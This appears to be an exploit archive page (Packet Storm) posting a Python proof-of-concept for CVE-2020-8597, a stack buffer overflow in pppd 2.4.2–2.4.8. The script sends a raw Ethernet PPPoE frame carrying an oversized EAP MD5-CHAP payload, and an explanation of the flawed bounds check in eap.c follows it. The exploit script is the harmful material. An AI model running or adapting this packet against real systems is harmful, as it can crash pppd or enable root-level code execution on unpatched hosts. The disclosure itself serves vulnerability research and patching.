exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pppd 2.4.8 Buffer Overflow

pppd 2.4.8 Buffer Overflow
Posted Mar 18, 2020
Authored by nu11secur1ty, Ventsislav Varbanovski

pppd versions 2.4.2 through 2.4.8 buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2020-8597
SHA-256 | 10a6602a635fe00eda73adff8cbfa55b1f8d3d56c298fa18edcd1caf80413f7a

pppd 2.4.8 Buffer Overflow

Change Mirror Download
# Exploit Title:  (Point to Point Protocol Daemon) versions 2.4.2 through
2.4.8 are vulnerable to buffer overflow - remote
# Author: nu11secur1ty
# Date: 2020-03-18
# Vendor: Point to Point Protocol Daemon
# Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-8597
# CVE: CVE-2020-8597



[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source: readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]

#!/usr/bin/python3
# https://kb.cert.org/vuls/id/782301/
from socket import *

def sendeth(dst, src, eth_type, payload, interface = "eth0"):
"""Send raw Ethernet packet on interface."""

assert(len(src) == len(dst) == 6) # 48-bit
assert(len(eth_type) == 2) # 16-bit

s = socket(AF_PACKET, SOCK_RAW)

s.bind((interface, 0))
return s.send(src + dst + eth_type + payload)

if __name__ == "__main__":
print("Sent %d-byte Ethernet packet on eth0" %
sendeth("\xc4\x54\x44\x2b\x90\x86",
"\x54\xe1\xad\xe8\x4f\x49",
"\x88\x64" ,
"\x11\x00" \

"\x00\x04\x00\x5a\xc2\x27\x01\xd3\x00\x58\x04\x12\xef\x0a\x5c\x97" \

"\x2e\xcf\xae\xb3\x30\x73\x10\xe9\x9d\x81\xf9\xb0\xde\xcf\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
))

[Product]
Point to Point Protocol Daemon


[Security Issue]
By sending an unsolicited EAP packet to a vulnerable ppp client or server,
an unauthenticated remote attacker could cause memory corruption in the
pppd process, which may allow for arbitrary code execution.


[References]
PPP is the protocol used for establishing internet links over dial-up
modems, DSL connections, and many other types of point-to-point links
including Virtual Private Networks (VPN) such as Point to Point Tunneling
Protocol (PPTP). The pppd software can also authenticate a network
connected peer and/or supply authentication information to the peer using
multiple authentication protocols including EAP.
Due to a flaw in the Extensible Authentication Protocol (EAP) packet
processing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated
remote attacker may be able to cause a stack buffer overflow, which may
allow arbitrary code execution on the target system. This vulnerability is
due to an error in validating the size of the input before copying the
supplied data into memory. As the validation of the data size is incorrect,
arbitrary data can be copied into memory and cause memory corruption
possibly leading to execution of unwanted code.
The vulnerability is in the logic of the eap parsing code, specifically in
the eap_request() and eap_response() functions in eap.c that are called by
a network input handler. These functions take a pointer and length as input
using the the first byte as a type. If the type is EAPT_MD5CHAP(4), it
looks at an embedded 1-byte length field. The logic in this code is
intended to makes sure that embedded length is smaller than the whole
packet length. After this verification, it tries to copy provided data
(hostname) that is located after the embedded length field into a local
stack buffer. This bounds check is incorrect and allows for memory copy to
happen with an arbitrary length of data.
An additional logic flaw causes the eap_input() function to not check if
EAP has been negotiated during the Line Control Protocol (LCP) phase. This
allows an unauthenticated attacker to send an EAP packet even if ppp
refused the authentication negotiation due to lack of support for EAP or
due to mismatch of an agreed pre-shared passphrase in the LCP phase. The
vulnerable pppd code in eap_input will still process the EAP packet and
trigger the stack buffer overflow. This unverified data with an unknown
size can be used to corrupt memory of the target system. The pppd often
runs with high privileges (system or root) and works in conjunction with
kernel drivers. This makes it possible for an attacker to potentially
execute arbitrary code with system or root level privileges.
The pppd software is also adopted into lwIP (lightweight IP) project to
provide pppd capabilities for small devices. The default installer and
packages of lwIP are not vulnerable to this buffer overflow. However if you
have used the lwIP source code and configured specifically to enable EAP at
compile time, your software is likely vulnerable to the buffer overflow.
The recommended update is available from Git repoistory
http://git.savannah.nongnu.org/cgit/lwip.git.



BR
--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close